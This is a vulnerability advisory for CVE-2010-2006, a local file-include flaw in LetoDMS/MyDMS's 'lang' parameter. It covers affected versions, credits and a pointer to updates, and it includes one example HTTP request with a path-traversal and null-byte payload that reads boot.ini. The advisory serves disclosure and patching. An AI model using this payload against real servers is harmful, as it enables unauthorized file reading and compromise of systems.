LetoDMS 'lang' Parameter Local File Include Vulnerability

Bugtraq ID:	37828
Class:	Input Validation Error
CVE:	CVE-2010-2006
Remote:	Yes
Local:	No
Published:	Jan 15 2010 12:00AM
Updated:	Jan 17 2011 06:51AM
Credit:	D. Fabian and L. Weichselbaum from SEC Consult
Vulnerable:	MyDMS MyDMS 1.4.3 MyDMS MyDMS 1.4.2 MyDMS MyDMS 1.4.1 MyDMS MyDMS 1.4 LetoDMS LetoDMS 1.7.2 Debian Linux 5.0 sparc Debian Linux 5.0 s/390 Debian Linux 5.0 powerpc Debian Linux 5.0 mipsel Debian Linux 5.0 mips Debian Linux 5.0 m68k Debian Linux 5.0 ia-64 Debian Linux 5.0 ia-32 Debian Linux 5.0 hppa Debian Linux 5.0 armel Debian Linux 5.0 arm Debian Linux 5.0 amd64 Debian Linux 5.0 alpha Debian Linux 5.0
Not Vulnerable:

LetoDMS 'lang' Parameter Local File Include Vulnerability

LetoDMS (formerly known as MyDMS) is prone to a local file-include vulnerability because it fails to sufficiently sanitize user-supplied data.

Exploiting this issue may allow an attacker to compromise the application and the underlying computer; other attacks are also possible.

LetoDMS 1.7.2 is vulnerable; other versions may also be affected.

LetoDMS 'lang' Parameter Local File Include Vulnerability

An attacker can exploit this issue via a browser.

The following example HTTP request is available:

GET /mydms/op/op.Login.php?login=guest&sesstheme=&lang=../../../../boot.ini%00&sesstheme= HTTP/1.1

LetoDMS 'lang' Parameter Local File Include Vulnerability

Solution:
Updates are available. Please see the references for more information.

LetoDMS 'lang' Parameter Local File Include Vulnerability

References:

• LetoDMS Homepage (LetoDMS)
  
• SEC Consult SA-20100115-0 :: Local file inclusion/execution and multiple CSRF v (Lukas Weichselbaum )